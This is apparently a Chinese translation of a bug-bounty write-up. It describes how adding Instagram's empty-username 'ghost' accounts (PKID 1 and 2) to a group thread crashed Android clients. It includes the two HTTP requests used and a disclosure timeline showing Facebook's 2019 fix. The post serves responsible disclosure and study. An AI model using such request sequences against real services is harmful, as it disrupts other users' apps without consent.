用“幽灵”帐户使任意安卓用户的Instagram崩溃

iso60001  86天前

22.jpg

在今年4月,我突然对Facebook的安全性产生了极大的兴趣(更具体地说是Instagram),很快我还发现,Facebook特意在应用中添加了一个Whitehat Settings选项,可以帮助研究人员更好地挖掘安全漏洞。于是,我便开始了对Instagram的探索之旅。

在我最初的研究中,我发现Instagram的数据库中存在一个简单的增量参数PKID,和平台用户绑定,因此我很好奇哪个帐号是社交网络被创建时的第一个账号。我尚不确定第一个真实帐号的PKID是3还是4,它应该属于Mike Krieger(Instagram的联合创始人之一)。

那么,此时你一定会想,PKID=1和PKID=2的Instagram帐号呢?这两个帐号有点怪异,虽然它们有PKID,但是用户名为空?更准确地说,它们的用户名字段是一个空字符串(“”)。我几乎可以肯定这种字段肯定会对程序造成某些影响。

我的想法是,这些帐号应该是在Instagram最初的测试阶段创建的,当时Instagram应该只是一个alpha版本。不过我好奇的是为什么这么长时间之后它们仍然没有被删除?从现在起,让我们称之为幽灵用户(ghost users)。

OK,如果服务器端代码不能正确地处理空字符串,那么空字符串可能会引发意想不到的危险。很快,我便有了第一个想法,想通过某种方法使程序的解析发生畸变,从而使Instagram崩溃。当然,更有趣的是找到了一种方法来远程攻击其他Instagram用户的程序。

通过仔细研究Instagram的几个功能(Instagram的功能比Facebook少,但软件体积一样大),我找到了一个可以利用的功能:在Instagram messages选项卡中有一个group thread creation功能:它可以在Instagram中与其他账户创建聊天组,涉及该操作的端点是:

/api/v1/direct_v2/create_group_thread/

利用

我的漏洞测试是在三星Galaxy S8+上进行的,Android版本为8.0,开发阶段非常简单。

为了尝试利用空字符串,我首先与一个测试用户创建一个简单的组。以下是示例请求:

POST /api/v1/direct_v2/create_group_thread/ HTTP/1.1
User-Agent: Instagram ....
Accept-Language: en-US
Cookie: urlgen= ....
Accept-Encoding: gzip, deflate
Host:i.instagram.com
X-FB-HTTP-Engine: Liger
Connection: close
Content-Length: 353


signed_body=d963d5f048924a58712d8bcf7912ac76a7c3c990199c7d59ac25e7990e142f49.{"recipient_users":"[xxxxxxxxxx]","_csrftoken":"WBpZmckmENi6eiubd26Osz6SIR3vtowu","thread_title":"bdbdbdbdbdxb","_uid":"12579513534","_uuid":"d18570eb-0663-40f4-bcc3-0c48a5031cee"}&ig_sig_key_version=4

以上请求中最重要的部分是JSON参数recipient_users,它是用户的instagram ID。随后,我再使用另一个API将一个幽灵用户添加到现有的组中:

POST /api/v1/direct_v2/threads/yyyyyyyyyy/add_user/ HTTP/1.1
User-Agent: Instagram ....
Accept-Language: en-US
Cookie: urlgen= ....
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Host:i.instagram.com
X-FB-HTTP-Engine: Liger
Connection: close
Content-Length: 109

_csrftoken=Pod4ZKSSLYUYMPs2TxhN5Xkmsv6xUOsO&user_ids=["2"]&_uuid=d18570eb-0663-40f4-bcc3-0c48a5031cee

在以上请求中,yyyyyyyy代表刚刚创建的群组的ID(从上一个请求的响应中获得),user_ids中的2代表幽灵用户的PKID。

在第二个请求后,测试用户的Instagram安卓应用突然崩溃,之后手动退出小组才能重新使用!

这可能是由于幽灵用户的用户名空字符串导致JSON解析异常从而造成的崩溃。以下是崩溃时堆栈跟踪的示例:

33.jpg

影响

利用这个漏洞,只要将Instagram的安卓用户添加到一个存在幽灵用户的群组中,就有可能使正常用户的安卓应用崩溃。我注意到,对于你的Instagram关注者,你拉他们入群组不需要任何点击(零点击攻击),但往往攻击者和受害者不是互相关注的关系,此时“加入群组”就必须得到受害者的许可。

PoC视频

44.png

视频地址:https://vimeo.com/359829417

时间轴

2019年4月10日——向Facebook Whitehat团队上报了这个漏洞

2019年4月12日——Facebook要求更多漏洞信息

2019年5月2日至2019年9月9日——研究人员与Facebook进行各种电子邮件交流,确认漏洞详情

2019年9月9日——漏洞被修复

2019年9月10日——发放漏洞赏金

2019年9月12日——漏洞详情公开

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/bugbountywriteup/how-two-dead-users-allowed-remote-crash-of-any-instagram-android-user-8f20e88b1b59

最新评论

昵称
邮箱
提交评论

友情链接:FOFA FOEYE BCSEC BAIMAOHUI 安全客 i春秋

nosec.org All Rights Reserved 京ICP备15042518号